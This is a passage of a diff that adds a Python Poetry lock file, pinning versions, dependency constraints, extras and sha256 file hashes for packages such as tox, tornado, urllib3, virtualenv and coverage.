+[package.dependencies.functools32]
+python = ">=2.7,<2.8"
+version = ">=3.2.3,<4.0.0"
+
+[package.dependencies.typing]
+python = ">=2.7,<2.8 || >=3.4,<3.5"
+version = ">=3.6,<4.0"
+
+[[package]]
+category = "dev"
+description = "Tornado is a Python web framework and asynchronous networking library, originally developed at FriendFeed."
+marker = "python_version >= \"2.7.9\" and python_version < \"2.8.0\" or python_version >= \"3.4\" and python_version < \"4.0\""
+name = "tornado"
+optional = false
+python-versions = ">= 2.7, !=3.0.*, !=3.1.*, !=3.2.*, != 3.3.*"
+version = "5.1.1"
+
+[[package]]
+category = "dev"
+description = "Tornado is a Python web framework and asynchronous networking library, originally developed at FriendFeed."
+marker = "python_version >= \"2.7.9\" and python_version < \"2.8.0\" or python_version >= \"3.4\" and python_version < \"4.0\""
+name = "tornado"
+optional = false
+python-versions = ">= 3.5"
+version = "6.0.4"
+
+[[package]]
+category = "dev"
+description = "tox is a generic virtualenv management and test command line tool"
+name = "tox"
+optional = false
+python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*"
+version = "3.12.1"
+
+[package.dependencies]
+filelock = ">=3.0.0,<4"
+pluggy = ">=0.3.0,<1"
+py = ">=1.4.17,<2"
+setuptools = ">=30.0.0"
+six = ">=1.0.0,<2"
+toml = ">=0.9.4"
+virtualenv = ">=14.0.0"
+
+[package.extras]
+docs = ["sphinx (>=2.0.0,<3)", "towncrier (>=18.5.0)", "pygments-github-lexers (>=0.0.5)", "sphinxcontrib-autoprogram (>=0.1.5)"]
+testing = ["freezegun (>=0.3.11,<1)", "pathlib2 (>=2.3.3,<3)", "pytest (>=3.0.0,<5)", "pytest-cov (>=2.5.1,<3)", "pytest-mock (>=1.10.0,<2)", "pytest-xdist (>=1.22.2,<2)", "pytest-randomly (>=1.2.3,<2)", "flaky (>=3.4.0,<4)", "psutil (>=5.6.1,<6)"]
+
+[[package]]
+category = "dev"
+description = "tox is a generic virtualenv management and test command line tool"
+name = "tox"
+optional = false
+python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7"
+version = "3.15.1"
+
+[package.dependencies]
+colorama = ">=0.4.1"
+filelock = ">=3.0.0"
+packaging = ">=14"
+pluggy = ">=0.12.0"
+py = ">=1.4.17"
+six = ">=1.14.0"
+toml = ">=0.9.4"
+virtualenv = ">=16.0.0,<20.0.0 || >20.0.0,<20.0.1 || >20.0.1,<20.0.2 || >20.0.2,<20.0.3 || >20.0.3,<20.0.4 || >20.0.4,<20.0.5 || >20.0.5,<20.0.6 || >20.0.6,<20.0.7 || >20.0.7"
+
+[package.dependencies.importlib-metadata]
+python = "<3.8"
+version = ">=0.12,<2"
+
+[package.extras]
+docs = ["sphinx (>=2.0.0)", "towncrier (>=18.5.0)", "pygments-github-lexers (>=0.0.5)", "sphinxcontrib-autoprogram (>=0.1.5)"]
+testing = ["freezegun (>=0.3.11)", "pathlib2 (>=2.3.3)", "pytest (>=4.0.0)", "pytest-cov (>=2.5.1)", "pytest-mock (>=1.10.0)", "pytest-xdist (>=1.22.2)", "pytest-randomly (>=1.0.0)", "flaky (>=3.4.0)", "psutil (>=5.6.1)"]
+
+[[package]]
+category = "dev"
+description = "Fast, Extensible Progress Meter"
+marker = "python_version >= \"2.7.9\" and python_version < \"2.8.0\" or python_version >= \"3.4\" and python_version < \"4.0\""
+name = "tqdm"
+optional = false
+python-versions = ">=2.6, !=3.0.*, !=3.1.*"
+version = "4.46.1"
+
+[package.extras]
+dev = ["py-make (>=0.1.0)", "twine", "argopt", "pydoc-markdown"]
+
+[[package]]
+category = "dev"
+description = "a fork of Python 2 and 3 ast modules with type comment support"
+marker = "python_version >= \"3.6\" and python_version < \"4.0\""
+name = "typed-ast"
+optional = false
+python-versions = "*"
+version = "1.4.1"
+
+[[package]]
+category = "main"
+description = "Type Hints for Python"
+marker = "python_version >= \"2.7\" and python_version < \"2.8\" or python_version >= \"3.4\" and python_version < \"3.5\" or python_version < \"3.5\""
+name = "typing"
+optional = false
+python-versions = "*"
+version = "3.7.4.1"
+
+[[package]]
+category = "main"
+description = "Backported and Experimental Type Hints for Python 3.5+"
+marker = "python_version >= \"3.5.0\" and python_version < \"3.5.4\""
+name = "typing-extensions"
+optional = false
+python-versions = "*"
+version = "3.7.4.2"
+
+[[package]]
+category = "main"
+description = "HTTP library with thread-safe connection pooling, file post, and more."
+name = "urllib3"
+optional = false
+python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, <4"
+version = "1.24.3"
+
+[package.extras]
+secure = ["pyOpenSSL (>=0.14)", "cryptography (>=1.3.4)", "idna (>=2.0.0)", "certifi", "ipaddress"]
+socks = ["PySocks (>=1.5.6,<1.5.7 || >1.5.7,<2.0)"]
+
+[[package]]
+category = "main"
+description = "HTTP library with thread-safe connection pooling, file post, and more."
+name = "urllib3"
+optional = false
+python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*, <4"
+version = "1.25.9"
+
+[package.extras]
+brotli = ["brotlipy (>=0.6.0)"]
+secure = ["certifi", "cryptography (>=1.3.4)", "idna (>=2.0.0)", "pyOpenSSL (>=0.14)", "ipaddress"]
+socks = ["PySocks (>=1.5.6,<1.5.7 || >1.5.7,<2.0)"]
+
+[[package]]
+category = "main"
+description = "Virtual Python Environment builder"
+name = "virtualenv"
+optional = false
+python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,>=2.7"
+version = "16.7.10"
+
+[package.extras]
+docs = ["sphinx (>=1.8.0,<2)", "towncrier (>=18.5.0)", "sphinx-rtd-theme (>=0.4.2,<1)"]
+testing = ["pytest (>=4.0.0,<5)", "coverage (>=4.5.0,<5)", "pytest-timeout (>=1.3.0,<2)", "six (>=1.10.0,<2)", "pytest-xdist", "pytest-localserver", "pypiserver", "mock", "xonsh"]
+
+[[package]]
+category = "dev"
+description = "Virtual Python Environment builder"
+name = "virtualenv"
+optional = false
+python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,>=2.7"
+version = "20.0.21"
+
+[package.dependencies]
+appdirs = ">=1.4.3,<2"
+distlib = ">=0.3.0,<1"
+filelock = ">=3.0.0,<4"
+six = ">=1.9.0,<2"
+
+[package.dependencies.importlib-metadata]
+python = "<3.8"
+version = ">=0.12,<2"
+
+[package.dependencies.importlib-resources]
+python = "<3.7"
+version = ">=1.0,<2"
+
+[package.extras]
+docs = ["sphinx (>=3)", "sphinx-argparse (>=0.2.5)", "sphinx-rtd-theme (>=0.4.3)", "towncrier (>=19.9.0rc1)", "proselint (>=0.10.2)"]
+testing = ["pytest (>=4)", "coverage (>=5)", "coverage-enable-subprocess (>=1)", "pytest-xdist (>=1.31.0)", "pytest-mock (>=2)", "pytest-env (>=0.6.2)", "pytest-randomly (>=1)", "pytest-timeout", "packaging (>=20.0)", "xonsh (>=0.9.16)"]
+
+[[package]]
+category = "dev"
+description = "Measures the displayed width of unicode strings in a terminal"
+marker = "python_version < \"3.5\" or python_version >= \"3.5\""
+name = "wcwidth"
+optional = false
+python-versions = "*"
+version = "0.2.3"
+
+[package.dependencies]
+[package.dependencies."backports.functools-lru-cache"]
+python = "<3.2"
+version = ">=1.2.1"
+
+[[package]]
+category = "main"
+description = "Character encoding aliases for legacy web content"
+name = "webencodings"
+optional = false
+python-versions = "*"
+version = "0.5.1"
+
+[[package]]
+category = "main"
+description = "Backport of pathlib-compatible object wrapper for zip files"
+marker = "python_version < \"3.8\" or python_version >= \"3.5\" and python_version < \"3.8\" or python_version >= \"2.7.9\" and python_version < \"2.8.0\" or python_version >= \"3.4\" and python_version < \"3.8\""
+name = "zipp"
+optional = false
+python-versions = ">=2.7"
+version = "1.2.0"
+
+[package.dependencies]
+[package.dependencies.contextlib2]
+python = "<3.4"
+version = "*"
+
+[package.extras]
+docs = ["sphinx", "jaraco.packaging (>=3.2)", "rst.linker (>=1.9)"]
+testing = ["pathlib2", "unittest2", "jaraco.itertools", "func-timeout"]
+
+[metadata]
+content-hash = "f585f9479c9551e48768249cc80ec8f217539b42fcc3822543fdd0789f9f9d87"
+python-versions = "~2.7 || ^3.4"
+
+[metadata.files]
+appdirs = [
+    {file = "appdirs-1.4.4-py2.py3-none-any.whl", hash = "sha256:a841dacd6b99318a741b166adb07e19ee71a274450e68237b4650ca1055ab128"},
+    {file = "appdirs-1.4.4.tar.gz", hash = "sha256:7d5d0167b2b1ba821647616af46a749d1c653740dd0d2415100fe26e27afdf41"},
+]
+"aspy.yaml" = [
+    {file = "aspy.yaml-1.3.0-py2.py3-none-any.whl", hash = "sha256:463372c043f70160a9ec950c3f1e4c3a82db5fca01d334b6bc89c7164d744bdc"},
+    {file = "aspy.yaml-1.3.0.tar.gz", hash = "sha256:e7c742382eff2caed61f87a39d13f99109088e5e93f04d76eb8d4b28aa143f45"},
+]
+atomicwrites = [
+    {file = "atomicwrites-1.4.0-py2.py3-none-any.whl", hash = "sha256:6d1784dea7c0c8d4a5172b6c620f40b6e4cbfdf96d783691f2e1302a7b88e197"},
+    {file = "atomicwrites-1.4.0.tar.gz", hash = "sha256:ae70396ad1a434f9c7046fd2dd196fc04b12f9e91ffb859164193be8b6168a7a"},
+]
+attrs = [
+    {file = "attrs-19.3.0-py2.py3-none-any.whl", hash = "sha256:08a96c641c3a74e44eb59afb61a24f2cb9f4d7188748e76ba4bb5edfa3cb7d1c"},
+    {file = "attrs-19.3.0.tar.gz", hash = "sha256:f7b7ce16570fe9965acd6d30101a28f62fb4a7f9e926b3bbc9b61f8b04247e72"},
+]
+"backports.functools-lru-cache" = [
+    {file = "backports.functools_lru_cache-1.6.1-py2.py3-none-any.whl", hash = "sha256:0bada4c2f8a43d533e4ecb7a12214d9420e66eb206d54bf2d682581ca4b80848"},
+    {file = "backports.functools_lru_cache-1.6.1.tar.gz", hash = "sha256:8fde5f188da2d593bd5bc0be98d9abc46c95bb8a9dde93429570192ee6cc2d4a"},
+]
+black = [
+    {file = "black-19.10b0-py36-none-any.whl", hash = "sha256:1b30e59be925fafc1ee4565e5e08abef6b03fe455102883820fe5ee2e4734e0b"},
+    {file = "black-19.10b0.tar.gz", hash = "sha256:c2edb73a08e9e0e6f65a0e6af18b059b8b1cdd5bef997d7a0b181df93dc81539"},
+]
+cachecontrol = [
+    {file = "CacheControl-0.12.6-py2.py3-none-any.whl", hash = "sha256:10d056fa27f8563a271b345207402a6dcce8efab7e5b377e270329c62471b10d"},
+    {file = "CacheControl-0.12.6.tar.gz", hash = "sha256:be9aa45477a134aee56c8fac518627e1154df063e85f67d4f83ce0ccc23688e8"},
+]
+cachy = [
+    {file = "cachy-0.3.0-py2.py3-none-any.whl", hash = "sha256:338ca09c8860e76b275aff52374330efedc4d5a5e45dc1c5b539c1ead0786fe7"},
+    {file = "cachy-0.3.0.tar.gz", hash = "sha256:186581f4ceb42a0bbe040c407da73c14092379b1e4c0e327fdb72ae4a9b269b1"},
+]
+certifi = [
+    {file = "certifi-2020.4.5.1-py2.py3-none-any.whl", hash = "sha256:1d987a998c75633c40847cc966fcf5904906c920a7f17ef374f5aa4282abd304"},
+    {file = "certifi-2020.4.5.1.tar.gz", hash = "sha256:51fcb31174be6e6664c5f69e3e1691a2d72a1a12e90f872cbdb1567eb47b6519"},
+]
+cffi = [
+    {file = "cffi-1.14.0-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:1cae98a7054b5c9391eb3249b86e0e99ab1e02bb0cc0575da191aedadbdf4384"},
+    {file = "cffi-1.14.0-cp27-cp27m-manylinux1_i686.whl", hash = "sha256:cf16e3cf6c0a5fdd9bc10c21687e19d29ad1fe863372b5543deaec1039581a30"},
+    {file = "cffi-1.14.0-cp27-cp27m-manylinux1_x86_64.whl", hash = "sha256:f2b0fa0c01d8a0c7483afd9f31d7ecf2d71760ca24499c8697aeb5ca37dc090c"},
+    {file = "cffi-1.14.0-cp27-cp27m-win32.whl", hash = "sha256:99f748a7e71ff382613b4e1acc0ac83bf7ad167fb3802e35e90d9763daba4d78"},
+    {file = "cffi-1.14.0-cp27-cp27m-win_amd64.whl", hash = "sha256:c420917b188a5582a56d8b93bdd8e0f6eca08c84ff623a4c16e809152cd35793"},
+    {file = "cffi-1.14.0-cp27-cp27mu-manylinux1_i686.whl", hash = "sha256:399aed636c7d3749bbed55bc907c3288cb43c65c4389964ad5ff849b6370603e"},
+    {file = "cffi-1.14.0-cp27-cp27mu-manylinux1_x86_64.whl", hash = "sha256:cab50b8c2250b46fe738c77dbd25ce017d5e6fb35d3407606e7a4180656a5a6a"},
+    {file = "cffi-1.14.0-cp35-cp35m-macosx_10_9_x86_64.whl", hash = "sha256:001bf3242a1bb04d985d63e138230802c6c8d4db3668fb545fb5005ddf5bb5ff"},
+    {file = "cffi-1.14.0-cp35-cp35m-manylinux1_i686.whl", hash = "sha256:e56c744aa6ff427a607763346e4170629caf7e48ead6921745986db3692f987f"},
+    {file = "cffi-1.14.0-cp35-cp35m-manylinux1_x86_64.whl", hash = "sha256:b8c78301cefcf5fd914aad35d3c04c2b21ce8629b5e4f4e45ae6812e461910fa"},
+    {file = "cffi-1.14.0-cp35-cp35m-win32.whl", hash = "sha256:8c0ffc886aea5df6a1762d0019e9cb05f825d0eec1f520c51be9d198701daee5"},
+    {file = "cffi-1.14.0-cp35-cp35m-win_amd64.whl", hash = "sha256:8a6c688fefb4e1cd56feb6c511984a6c4f7ec7d2a1ff31a10254f3c817054ae4"},
+    {file = "cffi-1.14.0-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:95cd16d3dee553f882540c1ffe331d085c9e629499ceadfbda4d4fde635f4b7d"},
+    {file = "cffi-1.14.0-cp36-cp36m-manylinux1_i686.whl", hash = "sha256:66e41db66b47d0d8672d8ed2708ba91b2f2524ece3dee48b5dfb36be8c2f21dc"},
+    {file = "cffi-1.14.0-cp36-cp36m-manylinux1_x86_64.whl", hash = "sha256:028a579fc9aed3af38f4892bdcc7390508adabc30c6af4a6e4f611b0c680e6ac"},
+    {file = "cffi-1.14.0-cp36-cp36m-win32.whl", hash = "sha256:cef128cb4d5e0b3493f058f10ce32365972c554572ff821e175dbc6f8ff6924f"},
+    {file = "cffi-1.14.0-cp36-cp36m-win_amd64.whl", hash = "sha256:337d448e5a725bba2d8293c48d9353fc68d0e9e4088d62a9571def317797522b"},
+    {file = "cffi-1.14.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:e577934fc5f8779c554639376beeaa5657d54349096ef24abe8c74c5d9c117c3"},
+    {file = "cffi-1.14.0-cp37-cp37m-manylinux1_i686.whl", hash = "sha256:62ae9af2d069ea2698bf536dcfe1e4eed9090211dbaafeeedf5cb6c41b352f66"},
+    {file = "cffi-1.14.0-cp37-cp37m-manylinux1_x86_64.whl", hash = "sha256:14491a910663bf9f13ddf2bc8f60562d6bc5315c1f09c704937ef17293fb85b0"},
+    {file = "cffi-1.14.0-cp37-cp37m-win32.whl", hash = "sha256:c43866529f2f06fe0edc6246eb4faa34f03fe88b64a0a9a942561c8e22f4b71f"},
+    {file = "cffi-1.14.0-cp37-cp37m-win_amd64.whl", hash = "sha256:2089ed025da3919d2e75a4d963d008330c96751127dd6f73c8dc0c65041b4c26"},
+    {file = "cffi-1.14.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:3b911c2dbd4f423b4c4fcca138cadde747abdb20d196c4a48708b8a2d32b16dd"},
+    {file = "cffi-1.14.0-cp38-cp38-manylinux1_i686.whl", hash = "sha256:7e63cbcf2429a8dbfe48dcc2322d5f2220b77b2e17b7ba023d6166d84655da55"},
+    {file = "cffi-1.14.0-cp38-cp38-manylinux1_x86_64.whl", hash = "sha256:3d311bcc4a41408cf5854f06ef2c5cab88f9fded37a3b95936c9879c1640d4c2"},
+    {file = "cffi-1.14.0-cp38-cp38-win32.whl", hash = "sha256:675686925a9fb403edba0114db74e741d8181683dcf216be697d208857e04ca8"},
+    {file = "cffi-1.14.0-cp38-cp38-win_amd64.whl", hash = "sha256:00789914be39dffba161cfc5be31b55775de5ba2235fe49aa28c148236c4e06b"},
+    {file = "cffi-1.14.0.tar.gz", hash = "sha256:2d384f4a127a15ba701207f7639d94106693b6cd64173d6c8988e2c25f3ac2b6"},
+]
+cfgv = [
+    {file = "cfgv-2.0.1-py2.py3-none-any.whl", hash = "sha256:fbd93c9ab0a523bf7daec408f3be2ed99a980e20b2d19b50fc184ca6b820d289"},
+    {file = "cfgv-2.0.1.tar.gz", hash = "sha256:edb387943b665bf9c434f717bf630fa78aecd53d5900d2e05da6ad6048553144"},
+]
+chardet = [
+    {file = "chardet-3.0.4-py2.py3-none-any.whl", hash = "sha256:fc323ffcaeaed0e0a02bf4d117757b98aed530d9ed4531e3e15460124c106691"},
+    {file = "chardet-3.0.4.tar.gz", hash = "sha256:84ab92ed1c4d4f16916e05906b6b75a6c0fb5db821cc65e70cbd64a3e2a5eaae"},
+]
+cleo = [
+    {file = "cleo-0.7.6-py2.py3-none-any.whl", hash = "sha256:9443d67e5b2da79b32d820ae41758dd6a25618345cb10b9a022a695e26b291b9"},
+    {file = "cleo-0.7.6.tar.gz", hash = "sha256:99cf342406f3499cec43270fcfaf93c126c5164092eca201dfef0f623360b409"},
+]
+click = [
+    {file = "click-7.1.2-py2.py3-none-any.whl", hash = "sha256:dacca89f4bfadd5de3d7489b7c8a566eee0d3676333fbb50030263894c38c0dc"},
+    {file = "click-7.1.2.tar.gz", hash = "sha256:d2b5255c7c6349bc1bd1e59e08cd12acbbd63ce649f2588755783aa94dfb6b1a"},
+    {file = "Click-7.0-py2.py3-none-any.whl", hash = "sha256:2335065e6395b9e67ca716de5f7526736bfa6ceead690adf616d925bdc622b13"},
+    {file = "Click-7.0.tar.gz", hash = "sha256:5b94b49521f6456670fdb30cd82a4eca9412788a93fa6dd6df72c94d5a8ff2d7"},
+]
+clikit = [
+    {file = "clikit-0.4.3-py2.py3-none-any.whl", hash = "sha256:71e321b7795a2a6c4888629f43365d52db071737e668ab16861121d7dd3ada09"},
+    {file = "clikit-0.4.3.tar.gz", hash = "sha256:6e2d7e115e7c7b35bceb0209109935ab2f9ab50910e9ff2293f7fa0b7abf973e"},
+]
+colorama = [
+    {file = "colorama-0.4.1-py2.py3-none-any.whl", hash = "sha256:f8ac84de7840f5b9c4e3347b3c1eaa50f7e49c2b07596221daec5edaabbd7c48"},
+    {file = "colorama-0.4.1.tar.gz", hash = "sha256:05eed71e2e327246ad6b38c540c4a3117230b19679b875190486ddd2d721422d"},
+    {file = "colorama-0.4.3-py2.py3-none-any.whl", hash = "sha256:7d73d2a99753107a36ac6b455ee49046802e59d9d076ef8e47b61499fa29afff"},
+    {file = "colorama-0.4.3.tar.gz", hash = "sha256:e96da0d330793e2cb9485e9ddfd918d456036c7149416295932478192f4436a1"},
+]
+configparser = [
+    {file = "configparser-4.0.2-py2.py3-none-any.whl", hash = "sha256:254c1d9c79f60c45dfde850850883d5aaa7f19a23f13561243a050d5a7c3fe4c"},
+    {file = "configparser-4.0.2.tar.gz", hash = "sha256:c7d282687a5308319bf3d2e7706e575c635b0a470342641c93bea0ea3b5331df"},
+]
+contextlib2 = [
+    {file = "contextlib2-0.6.0.post1-py2.py3-none-any.whl", hash = "sha256:3355078a159fbb44ee60ea80abd0d87b80b78c248643b49aa6d94673b413609b"},
+    {file = "contextlib2-0.6.0.post1.tar.gz", hash = "sha256:01f490098c18b19d2bd5bb5dc445b2054d2fa97f09a4280ba2c5f3c394c8162e"},
+]
+coverage = [
+    {file = "coverage-4.5.4-cp26-cp26m-macosx_10_12_x86_64.whl", hash = "sha256:eee64c616adeff7db37cc37da4180a3a5b6177f5c46b187894e633f088fb5b28"},
+    {file = "coverage-4.5.4-cp27-cp27m-macosx_10_12_x86_64.whl", hash = "sha256:ef824cad1f980d27f26166f86856efe11eff9912c4fed97d3804820d43fa550c"},
+    {file = "coverage-4.5.4-cp27-cp27m-macosx_10_13_intel.whl", hash = "sha256:9a334d6c83dfeadae576b4d633a71620d40d1c379129d587faa42ee3e2a85cce"},
+    {file = "coverage-4.5.4-cp27-cp27m-manylinux1_i686.whl", hash = "sha256:7494b0b0274c5072bddbfd5b4a6c6f18fbbe1ab1d22a41e99cd2d00c8f96ecfe"},
+    {file = "coverage-4.5.4-cp27-cp27m-manylinux1_x86_64.whl", hash = "sha256:826f32b9547c8091679ff292a82aca9c7b9650f9fda3e2ca6bf2ac905b7ce888"},
+    {file = "coverage-4.5.4-cp27-cp27m-win32.whl", hash = "sha256:63a9a5fc43b58735f65ed63d2cf43508f462dc49857da70b8980ad78d41d52fc"},
+    {file = "coverage-4.5.4-cp27-cp27m-win_amd64.whl", hash = "sha256:e2ede7c1d45e65e209d6093b762e98e8318ddeff95317d07a27a2140b80cfd24"},
+    {file = "coverage-4.5.4-cp27-cp27mu-manylinux1_i686.whl", hash = "sha256:dd579709a87092c6dbee09d1b7cfa81831040705ffa12a1b248935274aee0437"},
+    {file = "coverage-4.5.4-cp27-cp27mu-manylinux1_x86_64.whl", hash = "sha256:08907593569fe59baca0bf152c43f3863201efb6113ecb38ce7e97ce339805a6"},
+    {file = "coverage-4.5.4-cp33-cp33m-macosx_10_10_x86_64.whl", hash = "sha256:6b62544bb68106e3f00b21c8930e83e584fdca005d4fffd29bb39fb3ffa03cb5"},
+    {file = "coverage-4.5.4-cp34-cp34m-macosx_10_12_x86_64.whl", hash = "sha256:331cb5115673a20fb131dadd22f5bcaf7677ef758741312bee4937d71a14b2ef"},
+    {file = "coverage-4.5.4-cp34-cp34m-manylinux1_i686.whl", hash = "sha256:bf1ef9eb901113a9805287e090452c05547578eaab1b62e4ad456fcc049a9b7e"},
+    {file = "coverage-4.5.4-cp34-cp34m-manylinux1_x86_64.whl", hash = "sha256:386e2e4090f0bc5df274e720105c342263423e77ee8826002dcffe0c9533dbca"},
+    {file = "coverage-4.5.4-cp34-cp34m-win32.whl", hash = "sha256:fa964bae817babece5aa2e8c1af841bebb6d0b9add8e637548809d040443fee0"},
+    {file = "coverage-4.5.4-cp34-cp34m-win_amd64.whl", hash = "sha256:df6712284b2e44a065097846488f66840445eb987eb81b3cc6e4149e7b6982e1"},
+    {file = "coverage-4.5.4-cp35-cp35m-macosx_10_12_x86_64.whl", hash = "sha256:efc89291bd5a08855829a3c522df16d856455297cf35ae827a37edac45f466a7"},
+    {file = "coverage-4.5.4-cp35-cp35m-manylinux1_i686.whl", hash = "sha256:e4ef9c164eb55123c62411f5936b5c2e521b12356037b6e1c2617cef45523d47"},
+    {file = "coverage-4.5.4-cp35-cp35m-manylinux1_x86_64.whl", hash = "sha256:ff37757e068ae606659c28c3bd0d923f9d29a85de79bf25b2b34b148473b5025"},
+    {file = "coverage-4.5.4-cp35-cp35m-win32.whl", hash = "sha256:bf0a7aed7f5521c7ca67febd57db473af4762b9622254291fbcbb8cd0ba5e33e"},
+    {file = "coverage-4.5.4-cp35-cp35m-win_amd64.whl", hash = "sha256:19e4df788a0581238e9390c85a7a09af39c7b539b29f25c89209e6c3e371270d"},
+    {file = "coverage-4.5.4-cp36-cp36m-macosx_10_13_x86_64.whl", hash = "sha256:60851187677b24c6085248f0a0b9b98d49cba7ecc7ec60ba6b9d2e5574ac1ee9"},
+    {file = "coverage-4.5.4-cp36-cp36m-manylinux1_i686.whl", hash = "sha256:245388cda02af78276b479f299bbf3783ef0a6a6273037d7c60dc73b8d8d7755"},
+    {file = "coverage-4.5.4-cp36-cp36m-manylinux1_x86_64.whl", hash = "sha256:c0afd27bc0e307a1ffc04ca5ec010a290e49e3afbe841c5cafc5c5a80ecd81c9"},
+    {file = "coverage-4.5.4-cp36-cp36m-win32.whl", hash = "sha256:6ba744056423ef8d450cf627289166da65903885272055fb4b5e113137cfa14f"},
+    {file = "coverage-4.5.4-cp36-cp36m-win_amd64.whl", hash = "sha256:af7ed8a8aa6957aac47b4268631fa1df984643f07ef00acd374e456364b373f5"},
+    {file = "coverage-4.5.4-cp37-cp37m-macosx_10_13_x86_64.whl", hash = "sha256:3a794ce50daee01c74a494919d5ebdc23d58873747fa0e288318728533a3e1ca"},
+    {file = "coverage-4.5.4-cp37-cp37m-manylinux1_i686.whl", hash = "sha256:0be0f1ed45fc0c185cfd4ecc19a1d6532d72f86a2bac9de7e24541febad72650"},
+    {file = "coverage-4.5.4-cp37-cp37m-manylinux1_x86_64.whl", hash = "sha256:eca2b7343524e7ba246cab8ff00cab47a2d6d54ada3b02772e908a45675722e2"},
+    {file = "coverage-4.5.4-cp37-cp37m-win32.whl", hash = "sha256:93715dffbcd0678057f947f496484e906bf9509f5c1c38fc9ba3922893cda5f5"},
+    {file = "coverage-4.5.4-cp37-cp37m-win_amd64.whl", hash = "sha256:23cc09ed395b03424d1ae30dcc292615c1372bfba7141eb85e11e50efaa6b351"},
+    {file = "coverage-4.5.4-cp38-cp38-macosx_10_13_x86_64.whl", hash = "sha256:141f08ed3c4b1847015e2cd62ec06d35e67a3ac185c26f7635f4406b90afa9c5"},
+    {file = "coverage-4.5.4.tar.gz", hash = "sha256:e07d9f1a23e9e93ab5c62902833bf3e4b1f65502927379148b6622686223125c"},
+    {file = "coverage-5.1-cp27-cp27m-macosx_10_12_x86_64.whl", hash = "sha256:0cb4be7e784dcdc050fc58ef05b71aa8e89b7e6636b99967fadbdba694cf2b65"},
+    {file = "coverage-5.1-cp27-cp27m-macosx_10_13_intel.whl", hash = "sha256:c317eaf5ff46a34305b202e73404f55f7389ef834b8dbf4da09b9b9b37f76dd2"},
+    {file = "coverage-5.1-cp27-cp27m-manylinux1_i686.whl", hash = "sha256:b83835506dfc185a319031cf853fa4bb1b3974b1f913f5bb1a0f3d98bdcded04"},
+    {file = "coverage-5.1-cp27-cp27m-manylinux1_x86_64.whl", hash = "sha256:5f2294dbf7875b991c381e3d5af2bcc3494d836affa52b809c91697449d0eda6"},
+    {file = "coverage-5.1-cp27-cp27m-win32.whl", hash = "sha256:de807ae933cfb7f0c7d9d981a053772452217df2bf38e7e6267c9cbf9545a796"},
+    {file = "coverage-5.1-cp27-cp27m-win_amd64.whl", hash = "sha256:bf9cb9a9fd8891e7efd2d44deb24b86d647394b9705b744ff6f8261e6f29a730"},
+    {file = "coverage-5.1-cp27-cp27mu-manylinux1_i686.whl", hash = "sha256:acf3763ed01af8410fc36afea23707d4ea58ba7e86a8ee915dfb9ceff9ef69d0"},
+    {file = "coverage-5.1-cp27-cp27mu-manylinux1_x86_64.whl", hash = "sha256:dec5202bfe6f672d4511086e125db035a52b00f1648d6407cc8e526912c0353a"},
+    {file = "coverage-5.1-cp35-cp35m-macosx_10_12_x86_64.whl", hash = "sha256:7a5bdad4edec57b5fb8dae7d3ee58622d626fd3a0be0dfceda162a7035885ecf"},
+    {file = "coverage-5.1-cp35-cp35m-manylinux1_i686.whl", hash = "sha256:1601e480b9b99697a570cea7ef749e88123c04b92d84cedaa01e117436b4a0a9"},
+    {file = "coverage-5.1-cp35-cp35m-manylinux1_x86_64.whl", hash = "sha256:dbe8c6ae7534b5b024296464f387d57c13caa942f6d8e6e0346f27e509f0f768"},
+    {file = "coverage-5.1-cp35-cp35m-win32.whl", hash = "sha256:a027ef0492ede1e03a8054e3c37b8def89a1e3c471482e9f046906ba4f2aafd2"},
+    {file = "coverage-5.1-cp35-cp35m-win_amd64.whl", hash = "sha256:0e61d9803d5851849c24f78227939c701ced6704f337cad0a91e0972c51c1ee7"},
+    {file = "coverage-5.1-cp36-cp36m-macosx_10_13_x86_64.whl", hash = "sha256:2d27a3f742c98e5c6b461ee6ef7287400a1956c11421eb574d843d9ec1f772f0"},
+    {file = "coverage-5.1-cp36-cp36m-manylinux1_i686.whl", hash = "sha256:66460ab1599d3cf894bb6baee8c684788819b71a5dc1e8fa2ecc152e5d752019"},
+    {file = "coverage-5.1-cp36-cp36m-manylinux1_x86_64.whl", hash = "sha256:5c542d1e62eece33c306d66fe0a5c4f7f7b3c08fecc46ead86d7916684b36d6c"},
+    {file = "coverage-5.1-cp36-cp36m-win32.whl", hash = "sha256:2742c7515b9eb368718cd091bad1a1b44135cc72468c731302b3d641895b83d1"},
+    {file = "coverage-5.1-cp36-cp36m-win_amd64.whl", hash = "sha256:dead2ddede4c7ba6cb3a721870f5141c97dc7d85a079edb4bd8d88c3ad5b20c7"},
+    {file = "coverage-5.1-cp37-cp37m-macosx_10_13_x86_64.whl", hash = "sha256:01333e1bd22c59713ba8a79f088b3955946e293114479bbfc2e37d522be03355"},
+    {file = "coverage-5.1-cp37-cp37m-manylinux1_i686.whl", hash = "sha256:e1ea316102ea1e1770724db01998d1603ed921c54a86a2efcb03428d5417e489"},
+    {file = "coverage-5.1-cp37-cp37m-manylinux1_x86_64.whl", hash = "sha256:adeb4c5b608574a3d647011af36f7586811a2c1197c861aedb548dd2453b41cd"},
+    {file = "coverage-5.1-cp37-cp37m-win32.whl", hash = "sha256:782caea581a6e9ff75eccda79287daefd1d2631cc09d642b6ee2d6da21fc0a4e"},
+    {file = "coverage-5.1-cp37-cp37m-win_amd64.whl", hash = "sha256:00f1d23f4336efc3b311ed0d807feb45098fc86dee1ca13b3d6768cdab187c8a"},
+    {file = "coverage-5.1-cp38-cp38-macosx_10_13_x86_64.whl", hash = "sha256:402e1744733df483b93abbf209283898e9f0d67470707e3c7516d84f48524f55"},
+    {file = "coverage-5.1-cp38-cp38-manylinux1_i686.whl", hash = "sha256:a3f3654d5734a3ece152636aad89f58afc9213c6520062db3978239db122f03c"},
+    {file = "coverage-5.1-cp38-cp38-manylinux1_x86_64.whl", hash = "sha256:6402bd2fdedabbdb63a316308142597534ea8e1895f4e7d8bf7476c5e8751fef"},
